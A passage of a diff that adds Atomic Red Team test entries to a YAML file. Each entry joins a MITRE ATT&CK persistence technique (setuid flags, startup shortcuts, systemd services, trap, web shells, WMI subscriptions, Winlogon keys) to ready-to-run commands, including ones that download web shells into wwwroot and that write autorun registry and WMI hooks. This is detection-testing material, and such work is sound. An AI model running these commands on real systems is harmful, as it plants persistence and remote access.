OSX/Keydnap malware + is hungry for credentials. Retrieved July 3, 2017. + url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ + modified: '2019-06-24T12:06:41.014Z' + identifier: T1166 + atomic_tests: + - name: Make and modify binary from C source + description: 'Make, change owner, and change file attributes on a C source code + file + + ' + supported_platforms: + - macos + - linux + input_arguments: + payload: + description: hello.c payload + type: path + default: PathToAtomicsFolder/T1166/src/hello.c + executor: + name: sh + elevation_required: true + command: | + copy #{payload} /tmp/hello.c + cd /tmp + sudo chown root hello.c + sudo make hello + sudo chown root hello + sudo chmod u+s hello + ./hello + cleanup_command: | + sudo rm ./hello + sudo rm /tmp/hello.c + - name: Set a SetUID flag on file + description: 'This test sets the SetUID flag on a file in Linux and macOS. + + ' + supported_platforms: + - macos + - linux + input_arguments: + file_to_setuid: + description: Path of file to set SetUID flag + type: path + default: "/tmp/evilBinary" + executor: + name: sh + elevation_required: true + command: | + sudo touch #{file_to_setuid} + sudo chown root #{file_to_setuid} + sudo chmod u+s #{file_to_setuid} + cleanup_command: 'sudo rm #{file_to_setuid} + + ' + - name: Set a SetGID flag on file + description: 'This test sets the SetGID flag on a file in Linux and macOS. + + ' + supported_platforms: + - macos + - linux + input_arguments: + file_to_setuid: + description: Path of file to set SetGID flag + type: path + default: "/tmp/evilBinary" + executor: + name: sh + elevation_required: true + command: | + sudo touch #{file_to_setuid} + sudo chown root #{file_to_setuid} + sudo chmod g+s #{file_to_setuid} + cleanup_command: 'sudo rm #{file_to_setuid} + + ' + T1023: + technique: + x_mitre_permissions_required: + - User + - Administrator + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + name: Shortcut Modification + description: Shortcuts or symbolic links are ways of referencing other files + or programs that will be opened or executed when the shortcut is clicked or + executed by a system startup process. Adversaries could use shortcuts to execute + their tools for persistence. They may create a new shortcut as a means of + indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) + to look like a legitimate program. Adversaries could also edit the target + path or entirely replace an existing shortcut so their tools will be executed + instead of the intended legitimate program. + id: attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Since a shortcut's target path likely will not change, modifications + to shortcut files that do not correlate with known software changes, patches, + removal, etc., may be suspicious. Analysis should attempt to relate shortcut + file change or creation events to other potentially suspicious events based + on known adversary behavior such as process launches of unknown executables + that make network connections. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Travis Smith, Tripwire + created: '2017-05-31T21:30:30.757Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1023 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1023 + - source_name: capec + external_id: CAPEC-132 + url: https://capec.mitre.org/data/definitions/132.html + modified: '2019-07-18T19:28:08.364Z' + identifier: T1023 + atomic_tests: + - name: Shortcut Modification + description: | + This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell; + gci -path "C:\Users" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern "exe" | FL + supported_platforms: + - windows + input_arguments: + shortcut_file_path: + description: shortcut modified and execute + type: path + default: shortcutname.url + executor: + name: command_prompt + elevation_required: false + command: 'echo [InternetShortcut] > test.url && echo URL=C:\windows\system32\calc.exe + >> #{shortcut_file_path} && #{shortcut_file_path} >nul 2>&1 + + ' + - name: Create shortcut to cmd in startup folders + description: 'LNK file to launch CMD placed in startup folder + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: | + $Shell = New-Object -ComObject ("WScript.Shell") + $ShortCut = $Shell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1023.lnk") + $ShortCut.TargetPath="cmd.exe" + $ShortCut.WorkingDirectory = "C:\Windows\System32"; + $ShortCut.WindowStyle = 1; + $ShortCut.Description = "T1023."; + $ShortCut.Save() + + $Shell = New-Object -ComObject ("WScript.Shell") + $ShortCut = $Shell.CreateShortcut("$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1023.lnk") + $ShortCut.TargetPath="cmd.exe" + $ShortCut.WorkingDirectory = "C:\Windows\System32"; + $ShortCut.WindowStyle = 1; + $ShortCut.Description = "T1023."; + $ShortCut.Save() + cleanup_command: | + Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1023.lnk" -ErrorAction Ignore + Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1023.lnk" -ErrorAction Ignore + T1165: + technique: + x_mitre_permissions_required: + - Administrator + x_mitre_data_sources: + - File monitoring + - Process monitoring + name: Startup Items + description: "Per Apple’s documentation, startup items execute during the final + phase of the boot process and contain shell scripts or other executable files + along with configuration information used by the system to determine the execution + order for all startup items (Citation: Startup Items). This is technically + a deprecated version (superseded by Launch Daemons), and thus the appropriate + folder, /Library/StartupItems isn’t guaranteed to exist on the + system by default, but does appear to exist by default on macOS Sierra. A + startup item is a directory whose executable and configuration property list + (plist), StartupParameters.plist, reside in the top-level directory. + \n\nAn adversary can create the appropriate folders/files in the StartupItems + directory to register their own persistence mechanism (Citation: Methods of + Mac Malware Persistence). Additionally, since StartupItems run during the + bootup phase of macOS, they will run as root. If an adversary is able to modify + an existing Startup Item, then they will be able to Privilege Escalate as + well." + id: attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: The /Library/StartupItems folder can be monitored + for changes. Similarly, the programs that are actually executed from this + mechanism should be checked against a whitelist. Monitor processes that are + executed during the bootup process to check for unusual or unknown applications + and behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + x_mitre_effective_permissions: + - root + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1165 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1165 + - source_name: Startup Items + description: Apple. (2016, September 13). Startup Items. Retrieved July 11, + 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + modified: '2019-07-18T17:58:17.016Z' + identifier: T1165 + atomic_tests: + - name: add file to Local Library StartupItems + description: | + Modify or create an file in /Library/StartupItems + + [Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware) + supported_platforms: + - macos + executor: + name: sh + elevation_required: true + command: 'sudo touch /Library/StartupItems/EvilStartup.plist + + ' + cleanup_command: 'sudo rm /Library/StartupItems/EvilStartup.plist + + ' + T1501: + technique: + x_mitre_data_sources: + - Process command-line parameters + - Process monitoring + - File monitoring + x_mitre_permissions_required: + - root + - User + name: Systemd Service + description: "Systemd services can be used to establish persistence on a Linux + system. The systemd service manager is commonly used for managing background + daemon processes (also known as services) and other system resources.(Citation: + Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd + 29SEP2018) Systemd is the default initialization (init) system on many Linux + distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora + 15, and replaces legacy init systems including SysVinit and Upstart while + remaining backwards compatible with the aforementioned init systems.\n\nSystemd + utilizes configuration files known as service units to control how services + boot and under what conditions. By default, these unit files are stored in + the /etc/systemd/system and /usr/lib/systemd/system + directories and have the file extension .service. Each service + unit file may contain numerous directives that can execute system commands. + \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution + of commands when a services is started manually by 'systemctl' or on system + start if the service is set to automatically start. \n* ExecReload directive + covers when a service restarts. \n* ExecStop and ExecStopPost directives cover + when a service is stopped or manually by 'systemctl'.\n\nAdversaries have + used systemd functionality to establish persistent access to victim systems + by creating and/or modifying service unit files that cause systemd to execute + malicious commands at recurring intervals, such as at system boot.(Citation: + Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: + Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: + acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries + typically require root privileges to create/modify service unit files in the + /etc/systemd/system and /usr/lib/systemd/system + directories, low privilege users can create/modify service unit files in directories + such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: + Rapid7 Service Persistence 22JUNE2016)" + id: attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e + x_mitre_platforms: + - Linux + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. + + Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -–type=service –all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables. + + Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Tony Lambert, Red Canary + created: '2019-04-23T15:34:30.008Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - source_name: mitre-attack + external_id: T1501 + url: https://attack.mitre.org/techniques/T1501 + - description: Linux man-pages. (2014, January). systemd(1) - Linux manual page. + Retrieved April 23, 2019. + source_name: 'Linux man-pages: systemd January 2014' + url: http://man7.org/linux/man-pages/man1/systemd.1.html + - description: Freedesktop.org. (2018, September 29). systemd System and Service + Manager. Retrieved April 23, 2019. + source_name: Freedesktop.org Linux systemd 29SEP2018 + url: https://www.freedesktop.org/wiki/Software/systemd/ + - description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With + a New Malware Family Written in Golang. Retrieved April 24, 2019. + source_name: Anomali Rocke March 2019 + url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang + - description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public + Arch package compromise. Retrieved April 23, 2019. + source_name: gist Arch package compromise 10JUL2018 + url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a + - description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux + AUR Package Repository. Retrieved April 23, 2019. + source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 + url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ + - description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved + April 23, 2019. + source_name: acroread package compromised Arch Linux Mail 8JUL2018 + url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html + - description: Rapid7. (2016, June 22). Service Persistence. Retrieved April + 23, 2019. + source_name: Rapid7 Service Persistence 22JUNE2016 + url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence + modified: '2019-07-18T18:46:58.577Z' + identifier: T1501 + atomic_tests: + - name: Create Systemd Service + description: 'This test creates a Systemd service unit file and enables it as + a service. + + ' + supported_platforms: + - linux + input_arguments: + execstart_action: + description: ExecStart action for Systemd service + type: String + default: "/bin/touch /tmp/art-systemd-execstart-marker" + execstartpre_action: + description: ExecStartPre action for Systemd service + type: String + default: "/bin/touch /tmp/art-systemd-execstartpre-marker" + execstartpost_action: + description: ExecStartPost action for Systemd service + type: String + default: "/bin/touch /tmp/art-systemd-execstartpost-marker" + execreload_action: + description: ExecReload action for Systemd service + type: String + default: "/bin/touch /tmp/art-systemd-execreload-marker" + execstop_action: + description: ExecStop action for Systemd service + type: String + default: "/bin/touch /tmp/art-systemd-execstop-marker" + execstoppost_action: + description: ExecStopPost action for Systemd service + type: String + default: "/bin/touch /tmp/art-systemd-execstoppost-marker" + systemd_service_path: + description: Path to systemd service unit file + type: Path + default: "/etc/systemd/system" + systemd_service_file: + description: File name of systemd service unit file + type: String + default: art-systemd-service.service + executor: + name: bash + command: | + echo "[Unit]" > #{systemd_service_path}/#{systemd_service_file} + echo "Description=Atomic Red Team Systemd Service" >> #{systemd_service_path}/#{systemd_service_file} + echo "" >> #{systemd_service_path}/#{systemd_service_file} + echo "[Service]" >> #{systemd_service_path}/#{systemd_service_file} + echo "Type=simple" + echo "ExecStart=#{execstart_action}" >> #{systemd_service_path}/#{systemd_service_file} + echo "ExecStartPre=#{execstartpre_action}" >> #{systemd_service_path}/#{systemd_service_file} + echo "ExecStartPost=#{execstartpost_action}" >> #{systemd_service_path}/#{systemd_service_file} + echo "ExecReload=#{execreload_action}" >> #{systemd_service_path}/#{systemd_service_file} + echo "ExecStop=#{execstop_action}" >> #{systemd_service_path}/#{systemd_service_file} + echo "ExecStopPost=#{execstoppost_action}" >> #{systemd_service_path}/#{systemd_service_file} + echo "" >> #{systemd_service_path}/#{systemd_service_file} + echo "[Install]" >> #{systemd_service_path}/#{systemd_service_file} + echo "WantedBy=default.target" >> #{systemd_service_path}/#{systemd_service_file} + systemctl daemon-reload + systemctl enable #{systemd_service_file} + systemctl start #{systemd_service_file} + cleanup_command: | + systemctl stop #{systemd_service_file} + systemctl disable #{systemd_service_file} + rm -rf #{systemd_service_path}/#{systemd_service_file} + systemctl daemon-reload + T1154: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + name: Trap + description: 'The trap command allows programs and shells to specify + commands that will be executed upon receiving interrupt signals. A common + situation is a script allowing for graceful termination and handling of common keyboard + interrupts like ctrl+c and ctrl+d. Adversaries can + use this to register code to be executed when the shell encounters specific + interrupts either to gain execution or as a persistence mechanism. Trap commands + are of the following format trap ''command list'' signals where + "command list" will be executed when "signals" are received.(Citation: Trap + Manual)(Citation: Cyberciti Trap Statements)' + x_mitre_remote_support: false + id: attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: Trap commands must be registered for the shell or programs, + so they appear in files. Monitoring files for suspicious or overly broad trap + commands can narrow down suspicious behavior during an investigation. Monitor + for suspicious processes executed through trap interrupts. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1154 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1154 + - description: ss64. (n.d.). trap. Retrieved May 21, 2019. + source_name: Trap Manual + url: https://ss64.com/bash/trap.html + - description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, + 2019. + source_name: Cyberciti Trap Statements + url: https://bash.cyberciti.biz/guide/Trap_statement + modified: '2019-05-21T13:46:15.452Z' + identifier: T1154 + atomic_tests: + - name: Trap + description: | + After exiting the shell, the script will download and execute. + + After sending a keyboard interrupt (CTRL+C) the script will download and execute. + supported_platforms: + - macos + - linux + executor: + name: sh + command: | + trap "nohup $PathToAtomicsFolder/T1154/src/echo-art-fish.sh | bash" EXIT + exit + trap "nohup $PathToAtomicsFolder/T1154/src/echo-art-fish.sh | bash" SIGINt + T1100: + technique: + x_mitre_data_sources: + - Anti-virus + - Authentication logs + - File monitoring + - Netflow/Enclave netflow + - Process monitoring + type: attack-pattern + name: Web Shell + description: |- + A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013) + + Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed. + id: attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df + x_mitre_platforms: + - Linux + - Windows + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Adversary access to Web server with vulnerability or account to upload and + serve the Web shell file. + x_mitre_detection: |- + Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) + + + + Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:31:13.061Z' + x_mitre_effective_permissions: + - SYSTEM + - User + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1100 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1100 + - source_name: capec + external_id: CAPEC-650 + url: https://capec.mitre.org/data/definitions/650.html + - source_name: Lee 2013 + description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down + the China Chopper Web Shell - Part I. Retrieved March 27, 2015. + url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html + - source_name: US-CERT Alert TA15-314A Web Shells + description: US-CERT. (2015, November 13). Compromised Web Servers and Web + Shells - Threat Awareness and Guidance. Retrieved June 8, 2016. + url: https://www.us-cert.gov/ncas/alerts/TA15-314A + modified: '2019-07-17T20:11:10.736Z' + identifier: T1100 + atomic_tests: + - name: Web Shell Written to Disk + description: | + This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. + Idea from APTSimulator. + cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx + supported_platforms: + - windows + input_arguments: + web_shell_path: + description: The path to drop the web shell + type: string + default: C:\inetpub\wwwroot + web_shells: + description: Path of Web Shell + type: path + default: PathToAtomicsFolder\T1100\src\ + dependency_executor_name: powershell + dependencies: + - description: Web shell must exist on disk at specified location (#{web_shells}) + prereq_command: 'if (Test-Path #{web_shells}) {exit 0} else {exit 1}' + get_prereq_command: |- + New-Item -Type Directory (split-path #{web_shells}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1100/src/b.jsp" -OutFile "#{web_shells}/b.jsp" + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1100/src/tests.jsp" -OutFile "#{web_shells}/test.jsp" + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1100/src/cmd.aspx" -OutFile "#{web_shells}/cmd.aspx" + executor: + name: command_prompt + command: 'xcopy #{web_shells} #{web_shell_path} + + ' + cleanup_command: 'del #{web_shell_path} >nul 2>&1 + + ' + T1084: + technique: + x_mitre_permissions_required: + - Administrator + - SYSTEM + x_mitre_data_sources: + - WMI Objects + name: Windows Management Instrumentation Event Subscription + description: 'Windows Management Instrumentation (WMI) can be used to install + event filters, providers, consumers, and bindings that execute code when a + defined event occurs. Adversaries may use the capabilities of WMI to subscribe + to an event and execute arbitrary code when that event occurs, providing persistence + on a system. Adversaries may attempt to evade detection of this technique + by compiling WMI scripts into Windows Management Object (MOF) files (.mof + extension). (Citation: Dell WMI Persistence) Examples of events that may be + subscribed to are the wall clock time or the computer''s uptime. (Citation: + Kazanciyan 2014) Several threat groups have reportedly used this technique + to maintain persistence. (Citation: Mandiant M-Trends 2015)' + id: attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: 'Monitor WMI event subscription entries, comparing current + WMI event subscriptions to known good subscriptions for each host. Tools such + as Sysinternals Autoruns may also be used to detect WMI changes that could + be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium + Detecting WMI Persistence)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:31:05.140Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1084 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1084 + - source_name: Dell WMI Persistence + description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, + March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016. + url: https://www.secureworks.com/blog/wmi-persistence + - source_name: Kazanciyan 2014 + description: Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. + Investigating PowerShell Attacks [slides]. Retrieved November 3, + 2014. + url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf + - description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the + Front Lines. Retrieved May 18, 2016.' + source_name: Mandiant M-Trends 2015 + url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf + - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + source_name: TechNet Autoruns + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + - description: French, D.. (2018, October 9). Detecting & Removing an Attacker’s + WMI Persistence. Retrieved October 11, 2019. + source_name: Medium Detecting WMI Persistence + url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 + modified: '2019-10-15T18:43:47.703Z' + identifier: T1084 + atomic_tests: + - name: Persistence + description: | + Run from an administrator powershell window + + After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM. + + Code references + + https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af + + https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545 + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: | + $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-Example'; + EventNameSpace='root\CimV2'; + QueryLanguage="WQL"; + Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"}; + $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs + + $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-Example'; + CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";} + $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs + + $FilterToConsumerArgs = @{ + Filter = [Ref] $Filter; + Consumer = [Ref] $Consumer; + } + $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs + cleanup_command: | + $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'" + $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'" + $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue + + $FilterConsumerBindingToCleanup | Remove-WmiObject + $EventConsumerToCleanup | Remove-WmiObject + $EventFilterToCleanup | Remove-WmiObject + T1004: + technique: + x_mitre_data_sources: + - Windows Registry + - File monitoring + - Process monitoring + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Winlogon Helper DLL + description: "Winlogon.exe is a Windows component responsible for actions at + logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. + Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows + NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows + NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper + programs and functionalities that support Winlogon. (Citation: Cylance Reg + Persistence Sept 2013) \n\nMalicious modifications to these Registry keys + may cause Winlogon to load and execute malicious DLLs and/or executables. + Specifically, the following subkeys have been known to be possibly vulnerable + to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify + - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit + - points to userinit.exe, the user initialization program executed when a + user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell + executed when a user logs on\n\nAdversaries may take advantage of these features + to repeatedly execute malicious code and establish Persistence." + id: attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. + + Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + created: '2017-05-31T21:30:20.148Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1004 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1004 + - source_name: capec + external_id: CAPEC-579 + url: https://capec.mitre.org/data/definitions/579.html + - source_name: Cylance Reg Persistence Sept 2013 + description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence, + Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.' + url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order + - source_name: TechNet Autoruns + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-17T19:16:41.584Z' + identifier: T1004 + atomic_tests: + - name: Winlogon Shell Key Persistence - PowerShell + description: | + PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe. + + Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff. + supported_platforms: + - windows + input_arguments: + binary_to_execute: + description: Path of binary to execute + type: Path + default: C:\Windows\System32\cmd.exe + executor: + name: powershell + elevation_required: false + command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" + "Shell" "explorer.exe, #{binary_to_execute}" -Force + + ' + cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows + NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore + + ' + - name: Winlogon Userinit Key Persistence - PowerShell + description: | + PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe. + + Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff. + supported_platforms: + - windows + input_arguments: + binary_to_execute: + description: Path of binary to execute + type: Path + default: C:\Windows\System32\cmd.exe + executor: + name: powershell + elevation_required: false + command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" + "Userinit" "Userinit.exe, #{binary_to_execute}" -Force + + ' + cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows + NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore + + ' + - name: Winlogon Notify Key Logon Persistence - PowerShell + description: | + PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon. + + Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon/logoff. + supported_platforms: + - windows + input_arguments: + binary_to_execute: + description: Path of notification package to execute + type: Path + default: C:\Windows\Temp\atomicNotificationPackage.dll + executor: + name: powershell + elevation_required: false + command: | + New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force + Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" "logon" "#{binary_to_execute}" -Force + cleanup_command: 'Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" + -Force -ErrorAction Ignore + + ' +defense-evasion: + '': + technique: + x_mitre_data_sources: + - Authentication logs + - Office 365 account logs + name: Web Session Cookie + description: "Adversaries can use stolen session cookies to authenticate to + web applications and services. This technique bypasses some multi-factor authentication + protocols since the session is already 